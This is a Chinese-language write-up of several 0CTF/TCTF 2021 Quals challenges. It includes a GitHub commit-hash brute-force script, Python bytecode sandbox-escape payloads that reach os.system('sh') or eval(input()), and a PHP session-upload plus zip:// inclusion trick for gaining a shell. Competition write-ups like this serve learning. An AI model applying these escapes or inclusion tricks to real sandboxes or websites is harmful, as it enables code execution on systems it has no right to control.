0CTF 2021 Quals WriteUps

這次獨自挑戰了 0CTF/TCTF 2021 Quals,感想是題目真的好難...。總共只解了 5 題(含 Welcome & Survey),排名 63,不過也學到了很多新的東西所以寫下來作紀錄。

題目名稱上有標 * 的代表的是我有試著解但是沒成功的題目,比賽結束後才把題目解掉。

Misc

GutHib

這題提供了一個 GitHub repo: awesome-ctf/TCTF2021-Guthib,裡面可以看到它有 flag 但是已經用 BFG 清掉再 force push 了。

如果有幹過和 repo 裡面一樣的事的經驗的話應該會知道就算清掉後 force push,GitHub 上直接去看該 commit 還是能看到資料,這個的原因是 GitHub 那邊的 repo 還有暫存,要清除的話只能找客服請他們幫你做 gc。

詳細可參考此回答

所以我們知道有 flag 的 commit 還留在 GitHub 上面,只要知道 commit hash 就能看到 flag 了,這邊有兩個做法。

使用 API 的 events

GitHub 有個 API 能看到 repo 的 events,例如:

1
https://api.github.com/repos/awesome-ctf/TCTF2021-Guthib/events?page=6

其中的 PushEvent 可以看到 commit 的所有紀錄,從裡面就能找到目標的 commit hsah 了,所以最終的目標就是 da883505ed6754f328296cac1ddb203593473967

暴力

這個是我用的做法,因為我不知道有那個 events API 所以就這麼做了,這大概算是(有點) unintended 的解法。

可以注意到 GitHub 的 commit hash 最短可以只用 4 個字元去存取:

  • https://github.com/awesome-ctf/TCTF2021-Guthib/commit/da88 可以存取
  • https://github.com/awesome-ctf/TCTF2021-Guthib/commit/da8 不能存取

所以方法就很簡單,暴力掃過所有的 4 個 hexdigits 的可能性,一共 \(16^4=65536\) 種可能而已。

我先用這個腳本生成一個 wordlist:

1
2
3
4
5
6
7
8
9
10
11
12
from random import shuffle
from itertools import product

l = list(product("0123456789abcdef", repeat=4))
shuffle(l)
for a, b, c, d in l:
print(a + b + c + d)

# python gen.py > urllist.txt
# feroxbuster -u https://github.com/awesome-ctf/TCTF2021-Guthib/commit/ -w urllist.txt --rate-limit 16

# https://github.com/awesome-ctf/TCTF2021-Guthib/commit/da88

然後使用 feroxbuster 去暴力掃描就能找到了。

記得要設 ratelimit,不然很快就會得到 HTTP 429

*pypypypy

此題是個很特殊的 pyjail 題目,使用者提供的是 bytecode (codestring) 和額外的兩個輸入 gift1gift2。要求 len(codestring) <= 2000len(gift1) <= 10 len(gift2) <= 10

版本: Python 3.8.11

關於 bytecode 一些的參考資料

整個題目最核心的部分在於:

1
2
code = CodeType(0, 0, 0, 0, 0, 0, codestring, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
result = eval(code, {'__builtins__': None}, {})

首先因為 co_conts 是空的,各種常數都只能自己從零開始生。而 co_names 給你了兩個 __xx__ 格式的機會可以使用。

首先是處裡怎麼生成數字,我的作法是用 BUILD_TUPLE 0UNARY_NOT 得到 True,然後用一些加法去湊。例如下面這個的結果是數字 2:

1
2
3
4
BUILD_TUPLE 0
UNARY_NOT
DUP_TOP
BINARY_ADD

用這個方法可以遞迴寫出生成所需 bytecode 的函數:

1
2
3
4
5
6
7
8
9
10
11
12
def gen_num(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 0:
return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
if n == 1:
return one
half = gen_num(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret

接下來的第二目標是生成字串,這邊用的是 FORMAT_VALUE 4,它的效果等價於 format(TOS, TOS1),如果 TOS1 = 'c'TOP 是一個數字,這樣就能用 ascii code 去產生字串。所以現在的問題是怎麼產生出字串 'c'

這邊我先用 BUILD_SLICE 產生出 slice(x, y, z),然後用 FORMAT_VALUE 0 把它變成字串,之後用 BINARY_SUBSCR 取第三個字元得到 'c'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)

'c' 之後要生成任意字元就很簡單了,而生成任意字串的部分一樣是遞迴把它寫出來。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def gen_str(s):
# assuming stack top is 'c'
if len(s) == 1:
return bytes(
[
*gen_num(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)

def gen_str_wrap(s):
return gen_c() + gen_str(s)

到這一步就能簡單的生成出字串了,下一步是怎麼繞過 __builtins__ = None。它的繞法傳統上是利用 ().__class__.__base__ 得到 object,然後 object.__subclasses__()[n]... 去取得需要的東西。只是困難點在於 co_names 只有兩個,沒辦法這麼直接的使用。

我在比賽結束前有弄出一個 codestringgift1 都超過長度的 payload,可以執行 sh。裡面用的是 __getattribute____base__,經過很長的反覆運用後可以得到結果。細節可以自己看,裡面註解都有標 stack 的狀態。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
import sys
from pathlib import Path
from types import CodeType
import dis
from opcode import opmap


def dump_code(code):
print(
code.co_argcount,
code.co_posonlyargcount,
code.co_kwonlyargcount,
code.co_nlocals,
code.co_stacksize,
code.co_flags,
code.co_code,
code.co_consts,
code.co_names,
code.co_varnames,
code.co_filename,
code.co_name,
code.co_firstlineno,
code.co_lnotab,
code.co_freevars,
code.co_cellvars,
)


def gen_num_op(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 1:
return one
half = gen_num_op(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret


def gen_str(s):
# assuming stack top is 'c'
assert len(s) > 0
if len(s) == 1:
return bytes(
[
*gen_num_op(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num_op(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)


code = bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
*gen_str("__class__"),
# [..., 'c', '__class__']
opmap["BUILD_TUPLE"],
0,
opmap["LOAD_ATTR"],
0,
opmap["ROT_TWO"],
0,
# [..., 'c', tuple.__getattribute__, '__class__']
opmap["CALL_FUNCTION"],
1,
# [..., 'c', tuple]
opmap["LOAD_ATTR"],
1,
opmap["DUP_TOP"],
1,
# [..., 'c', object, object]
opmap["LOAD_ATTR"],
0,
# [..., 'c', object, object.__getattribute__]
opmap["ROT_THREE"],
0,
# [..., object.__getattribute__, 'c', object]
opmap["ROT_TWO"],
0,
# [..., object.__getattribute__, object, 'c']
*gen_str("__subclasses__"),
# [..., object.__getattribute__, object, '__subclasses__']
opmap["CALL_FUNCTION"],
2,
# [..., object.__subclasses__]
opmap["CALL_FUNCTION"],
0,
# [..., object.__subclasses__()]
*gen_num_op(189),
opmap["BINARY_SUBSCR"],
0,
# [..., _Flavour]
opmap["DUP_TOP"],
1,
opmap["LOAD_ATTR"],
0,
# [..., 'c', _Flavour, _Flavour.__getattribute__]
opmap["ROT_THREE"],
0,
opmap["ROT_TWO"],
0,
*gen_str("__init__"),
opmap["CALL_FUNCTION"],
2,
# # [..., _Flavour.__init__]
opmap["LOAD_ATTR"],
0,
opmap["ROT_TWO"],
0,
*gen_str("__globals__"),
opmap["CALL_FUNCTION"],
1,
# [..., _ModuleLock.__init__.__globals__]
opmap["ROT_TWO"],
0,
*gen_str("os"),
opmap["BINARY_SUBSCR"],
0,
# # [..., os]
opmap["LOAD_ATTR"],
0,
opmap["ROT_TWO"],
0,
*gen_str("__dict__"),
opmap["CALL_FUNCTION"],
1,
# [..., os.__dict__]
opmap["ROT_TWO"],
0,
*gen_str("system"),
opmap["BINARY_SUBSCR"],
0,
# [..., os.system]
opmap["ROT_TWO"],
0,
*gen_str("sh"),
opmap["CALL_FUNCTION"],
1,
opmap["RETURN_VALUE"],
0,
]
)
gift1 = "getattribute"
gift2 = "base"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
# dump_code(code)
# dis.dis(code)
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
# print(type(ret))
print(ret)
print("ok")

這裡面的 string 生成方式稍微不同是因為這個是我比較早的時候寫的

比賽結束後題目作者有整理了一下解法的種類,一共有 5 個:

  1. 最多人用的作法: __class____dict__ 組合起來得到 type,然後用 mro(之類的) 結合 __getattribute__ 拿到 object,所以可以有 object.__dict__['__getattribute__'],這樣就能做到一切事情了。(用法和 getattr 差不多)
  2. Unintended solution 1: [].__reduce_ex__(3)[0].__globals__
  3. Unintended solution 2: co_consts 是 empty tuple,可以用 LOAD_CONST 去造成 oob access 取得你要的物件,包括 module 'posix'。offset 可以用 id(something) - id(()) 計算,不過復現不出來這個的 payload。
  4. Unintended solution 3: co_names 雖然不是空的,但它的 offset 還是固定的,一樣有辦法找出來適當的 offset 去 leak 東西。
  5. 作者的解: 觸發 exception 然後 TOS 會有 exception 的 class,從它的 __mro__ 可以拿到 object,然後剩下都一樣。

還有一個我另外看到的解,在 bytecode 一開始直接 LOAD_CONST 6 (oob) 可以直接拿到 object,我也不知道為什麼...。

__class____dict__

這部分不需要用到生成 string 的那些函數,所以 payload 很短。為了偷懶,所以我還有直接用 LOAD_CONST 6 直接變出 object。正常情況要從 type.__dict__ 拿到 __getattribute____base__ 才能拿到 object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from types import CodeType
from opcode import opmap


def op(name, arg=0):
return bytes([opmap[name], arg])


def get_type_dict():
return (
op("BUILD_TUPLE", 0)
+ op("LOAD_ATTR", 0)
+ op("LOAD_ATTR", 0)
+ op("LOAD_ATTR", 1)
)


def get_nth(n):
return (
op("UNPACK_EX", n)
+ op("BUILD_TUPLE", n - 1)
+ op("POP_TOP")
+ op("ROT_TWO")
+ op("POP_TOP") # pop iterable list
)


code = (
get_type_dict()
+ get_nth(3)
# ['__getattribute__']
+ op("LOAD_CONST", 6)
+ op("LOAD_ATTR", 1)
# ['__getattribute__', object.__dict__]
+ op("ROT_TWO")
+ op("BINARY_SUBSCR")
# [object.__getattribute__]
+ op("STORE_NAME", 0) # __class__ = object.__getattribute__
+ op("LOAD_NAME", 0) # object.__getattribute__
+ op("LOAD_CONST", 6)
+ get_type_dict()
+ get_nth(9)
+ op("CALL_FUNCTION", 2)
+ op("CALL_FUNCTION", 0)
# [object.__subclasses__()]
+ get_nth(133) # remote = 134, local = 133
# [os._wrap_close]
+ op("LOAD_ATTR", 1)
+ op("DUP_TOP")
+ get_nth(2)
+ op("BINARY_SUBSCR")
# [os._wrap_close.__init__]
+ op("LOAD_NAME", 0) # object.__getattribute__
+ op("ROT_TWO")
+ op("DUP_TOP")
+ op("LOAD_ATTR", 0)
+ op("LOAD_ATTR", 1)
# [object.__getattribute__, os._wrap_close.__init__, function.__dict__]
+ get_nth(7)
+ op("CALL_FUNCTION", 2)
# [__globals__]
+ op("DUP_TOP")
+ get_nth(8)
+ op("DUP_TOP")
+ op("STORE_NAME", 0) # __class__ = '__builtins__'
+ op("BINARY_SUBSCR")
# [__builtins__]
+ op("DUP_TOP")
+ op("STORE_NAME", 1) # __dict__ = __builtins__
+ op("DUP_TOP")
+ get_nth(20)
+ op("BINARY_SUBSCR")
# [eval]
+ op("LOAD_NAME", 1) # __builtins__
+ op("DUP_TOP")
+ get_nth(29)
+ op("BINARY_SUBSCR")
# [eval, input]
+ op("CALL_FUNCTION", 0)
# [eval, input()]
+ op("LOAD_NAME", 0) # '__builtins__'
+ op("LOAD_NAME", 1) # __builtins__
+ op("BUILD_MAP", 1)
# [eval, input(), {'__builtins__': __builtins__}]
+ op("CALL_FUNCTION", 2)
+ op("RETURN_VALUE")
)

print(len(code))
print(code.hex())

gift1 = "class"
gift2 = "dict"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
ret = eval(code, {"__builtins__": None}, {})
print("type", type(ret))
print("ret", ret)

[].__reduce_ex__(3)[0].__globals__

__reduce_ex__ 類似於 pickle 的 __reduce__,只是它多支援一個 protocol 參數當做 pickle 版本號。回傳值 tuple 的第一個值是個函數,它上面的 __globals__ 可以直接拿到 eval input 等東西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import pathlib # No use, but it MUST exist
from types import CodeType
from opcode import opmap


def dump_code(code):
print(
code.co_argcount,
code.co_posonlyargcount,
code.co_kwonlyargcount,
code.co_nlocals,
code.co_stacksize,
code.co_flags,
code.co_code,
code.co_consts,
code.co_names,
code.co_varnames,
code.co_filename,
code.co_name,
code.co_firstlineno,
code.co_lnotab,
code.co_freevars,
code.co_cellvars,
)


def gen_num(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 0:
return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
if n == 1:
return one
half = gen_num(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret


def gen_str(s):
# assuming stack top is 'c'
if len(s) == 1:
return bytes(
[
*gen_num(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)


def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)


def gen_str_wrap(s):
return gen_c() + gen_str(s)

# [].__reduce_ex__(3)[0].__globals__

code = bytes(
[
opmap["BUILD_LIST"],
0,
opmap["LOAD_ATTR"],
0,
*gen_num(3),
opmap["CALL_FUNCTION"],
1,
*gen_num(0),
opmap["BINARY_SUBSCR"],
1,
opmap["LOAD_ATTR"],
1,
*gen_str_wrap("__builtins__"),
# Cache __builtins__
opmap["DUP_TOP"],
1,
opmap["STORE_NAME"],
0,
opmap["BINARY_SUBSCR"],
1,
opmap["DUP_TOP"],
1,
opmap["DUP_TOP"],
1,
# [__builtins__, __builtins__, __builtins__]
*gen_str_wrap("input"),
opmap["BINARY_SUBSCR"],
1,
opmap["CALL_FUNCTION"],
0,
# [__builtins__, __builtins__, input()]
opmap["ROT_TWO"],
0,
# [__builtins__, input(), __builtins__]
*gen_str_wrap("eval"),
opmap["BINARY_SUBSCR"],
1,
# [__builtins__, input(), eval]
opmap["ROT_THREE"],
0,
# [eval, __builtins__, input()]
opmap["ROT_TWO"],
0,
# [eval, input(), __builtins__]
# Load cached '__builtins__'
opmap["LOAD_NAME"],
0,
opmap["ROT_TWO"],
0,
opmap["BUILD_MAP"],
1,
# [eval, input(), {'__builtins__': __builtins__}]
opmap["CALL_FUNCTION"],
2,
opmap["RETURN_VALUE"],
0,
]
)
gift1 = "reduce_ex"
gift2 = "globals"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
print("ret", ret)
print("ok")
print(code.co_code.hex())

可以在最上面看到 import pathlib,但整個腳本都沒用到它,不過如果移除掉它之後很神奇的就會失敗。問了一下,別人說那是因為 [].__reduce_ex__ 仰賴了 pickle 的存在,如果 pickle 不存在於 sys.modules 裡面的話那它就會試著 __import__,但是因為 eval 有限制 __builtins__ 所以會失敗。而 pathlib 內部似乎有 import 到 pickle,所以就能繞過這個問題。

另一個在 remote 沒用的解

object.__subclasses__() 裡面有個 _sitebuiltins._Helper,因為 _sitebuiltins._Helper() = help,所以 _sitebuiltins._Helper()() 可以有 help() 的效果。

在 help 的介面下輸入隨便的條目,例如 str 就會顯示資訊來,而它還會偵測是否有 tty 的存在,若是有的話就會試著呼叫 less 或是 more 來當作 pager。在 less 或是 more 之中都能透過 !ls 這樣的方式來執行指令。

不過這個解法的問題在於要有 tty,因為這題是直接 nc 過去的,它沒有 tty 所以也不會呼叫 less 或是 more。不過自己在本地端測試到是有效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from types import CodeType
from opcode import opmap


def dump_code(code):
print(
code.co_argcount,
code.co_posonlyargcount,
code.co_kwonlyargcount,
code.co_nlocals,
code.co_stacksize,
code.co_flags,
code.co_code,
code.co_consts,
code.co_names,
code.co_varnames,
code.co_filename,
code.co_name,
code.co_firstlineno,
code.co_lnotab,
code.co_freevars,
code.co_cellvars,
)


def gen_num(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 0:
return bytes([*one, *one, opmap["BINARY_SUBTRACT"], 0])
if n == 1:
return one
half = gen_num(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret


def gen_str(s):
# assuming stack top is 'c'
if len(s) == 1:
return bytes(
[
*gen_num(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)


def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)


def gen_str_wrap(s):
return gen_c() + gen_str(s)


code = bytes(
[
opmap["LOAD_CONST"],
6,
opmap["LOAD_ATTR"],
0,
opmap["CALL_FUNCTION"],
0,
*gen_num(135), # remote = 136, local = 135
opmap["BINARY_SUBSCR"],
0,
opmap["CALL_FUNCTION"],
0,
opmap["CALL_FUNCTION"],
0,
opmap["RETURN_VALUE"],
0,
]
)
print(code.hex())

gift1 = "subclasses"
gift2 = "globals"
# fmt: off
code = CodeType(0, 0, 0, 0, 0, 0, code, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')
# fmt: on
print(len(code.co_code))
ret = eval(code, {"__builtins__": None}, {})
print("ret", ret)
print("ok")

Crypto

checkin

題目很單純,要在 10 秒鐘內計算出一個 \(2^{2^e}\mod{m}\) 的值。

其中的 \(m\) 是個很大、無法分解的合數,所以沒辦法把 exponent 簡化成 \(2^e\mod{\varphi(m)}\) 來運算。

最快的做法是直接 gmpy2 弄下去解,它的效能比 python 內建的 pow 還快多了,只要 5 秒鐘左右即可計算出來。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import remote
import gmpy2

io = remote("111.186.59.11", 16256)
io.recvline()
s = io.recvlineS()
e = int(s.split("^")[2].split(")")[0])
m = int(s.split(" mod ")[1].split(" = ")[0])
print(s)
print(e)
print(m)
ans = gmpy2.powmod(2, 1 << e, m)
print(ans)
io.sendline(str(ans))
io.interactive()

我居然在這題拿到了 first blood ==

zerolfsr-

有三個不同的 LFSR,在時間內選兩個 generator 去找出它的 initial state 就能拿到 flag。

這題我的作法很單純,就直接 z3 下去解而已,選的 Generator 是 1 和 3,因為 2 看起來就複雜很多,z3 也解不太掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from z3 import *
from pwn import remote
import string
from hashlib import sha256
from itertools import product
import signal
from task import Generator1, Generator2, Generator3

io = remote("111.186.59.28", 31337)


def solve_pow():
io.recvuntil(b"sha256(XXXX + ")
suffix = io.recvuntil(b")")[:-1]
io.recvuntil(b" == ")
target = bytes.fromhex(io.recvlineS(b"\n").strip())
S = (string.ascii_letters + string.digits + "!#$%&*-?").encode()
for x in product(S, repeat=4):
xx = bytes(x)
if sha256(xx + suffix).digest() == target:
io.sendlineafter(b"Give me XXXX:", xx)
return


def solve1():
io.recvuntil(b"which one: \n")
io.sendline("1")
io.recvuntil(b"start:::")
data = io.recvuntil(b":::end")[:-6]
bits = list(map(int, "".join([f"{x:08b}" for x in data])))
print(len(bits))
keys = [BitVec(f"b_{i}", 1) for i in range(64)]
s = Solver()
g = Generator1(keys)
for i in range(128):
s.add(g.clock() == bits[i])
print("Solving generator 1...")
print(s.check())
m = s.model()
keys = [m[k].as_long() for k in keys]
msk = int("".join(map(str, keys)), 2)
io.sendlineafter(b"k: ", str(msk))


def solve2():
io.recvuntil(b"which one: \n")
io.sendline("2")
io.recvuntil(b"start:::")
data = io.recvuntil(b":::end")[:-6]
bits = list(map(int, "".join([f"{x:08b}" for x in data])))
print(len(bits))
keys = [BitVec(f"b_{i}", 1) for i in range(64)]
s = Solver()
g = Generator2(keys)
for i in range(64):
g.clock()
s.add(g.clock() == bits[i])
print("Solving generator 2...")
print(s.check())
m = s.model()
keys = [m[k].as_long() for k in keys]
msk = int("".join(map(str, keys)), 2)
io.sendlineafter(b"k: ", str(msk))


def solve3():
io.recvuntil(b"which one: \n")
io.sendline("3")
io.recvuntil(b"start:::")
data = io.recvuntil(b":::end")[:-6]
bits = list(map(int, "".join([f"{x:08b}" for x in data])))
print(len(bits))
keys = [BitVec(f"b_{i}", 1) for i in range(64)]
s = Solver()
g = Generator3(keys)
for i in range(128):
g.clock()
g.clock()
s.add(g.clock() == bits[i])
print("Solving generator 3...")
print(s.check())
m = s.model()
keys = [m[k].as_long() for k in keys]
msk = int("".join(map(str, keys)), 2)
io.sendlineafter(b"k: ", str(msk))


signal.alarm(30)
solve_pow()
signal.alarm(50)
solve1()
# solve2()
solve3()
io.interactive()

flag 的內容有說作者已經想辦法避免變成 z3 能解的狀況了,不過看來這個防範措施不是很有效...

Web

*1linephp

程式碼就只有一行:

1
2
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

如果熟悉的話會知道這個題目是致敬 One Line PHP Challenge 的,唯一的差別在於原題是沒有在後綴上多加上 .php 而已。不知道的話最好要先讀一讀它的做法。

原題的做法是透過 PHPSESSIDPHP_SESSION_UPLOAD_PROGRESS 在 sessions 的資料夾留下檔案,然後透過 php://filter 去做一些 decode 操作讓檔案的 prefix 變成 @<?php 之後就能 get shell。

例如:

1
curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=maple' -F 'PHP_SESSION_UPLOAD_PROGRESS=CONTENT' -F 'file=@some_file'

會在 /tmp/sess_maple 裡面暫時寫入 upload_progress_CONTENT|... 的資料。

然而因為 PHPSESSID 裡面不能有 .,所以沒辦法寫入 sess_maple.php 之類的檔案。

要繞過後綴有幾個做法,但是因為此題是 php 7.4.11,所以透過 path 過長(4096) 或是 null byte (%00) 去截斷都是無效的。

剩下的作法有兩個,phar:///tmp/asd.phar/shell.php 或是 zip:///tmp/asd.zip#shell.php 都能讀到檔案。

前者的問題在於 php 在處裡 php:// 的路徑的時候會找副檔名做分割,例如 phar:///tmp/asd.phar/shell.php 之中的 /tmp/asd.phar 是 phar 檔案的路徑,而 shell.php 是 phar 裡面的檔案路徑。後綴無論是 .phar 還是 .png 等等的都可以,php 都會照樣接受,但是無論如何都還是要有個副檔名在才行,所以在這題的情況沒辦法用。

後者 zip:// 改用了 # 來分隔,所以沒有副檔名的問題,只要能給予一個合法的 zip file 就能讓它解壓。然而問題在於 sess_xxx 的檔案開頭都會有礙事的 upload_progress_ 存在。

我的第一個想法是和原題一樣,用 base64 和 php://filter 去處理,然而 zip://php://filter/... 這樣其實是不行的,從 source code 可以看到它是直接把 path 放到 libzip 的 zip_open 函數中,不會經過 php 處裡,所以 php://filter 無法使用。

比賽時我到這邊就卡住了,沒辦法往下解,因為不知道怎麼處裡 zip header...

這題的關鍵在於 zip 其實是個格式很鬆散的檔案格式,檔案的前面的 byte 並不一定要是 PK,因為 zip 解壓時似乎是從後面反過來找的,只要長度剛好即可。

這邊有個很簡單的作法,是先建立 shell.php 裡面放需要的 code,然後壓縮成 out.zip,之後把它的前面 16 bytes 換成 upload_progress_ 會發現它一樣能很正常的解壓縮。

根據作者的 WriteUp,直接刪除 16 bytes 並不是 intended 的,正確做法是要自己修 offset,或是學 Perfect Blue 使用 zip -F 修復: (printf upload_progress_ && cat file.zip) > out.zip; zip -F out.zip --out fixed.zip

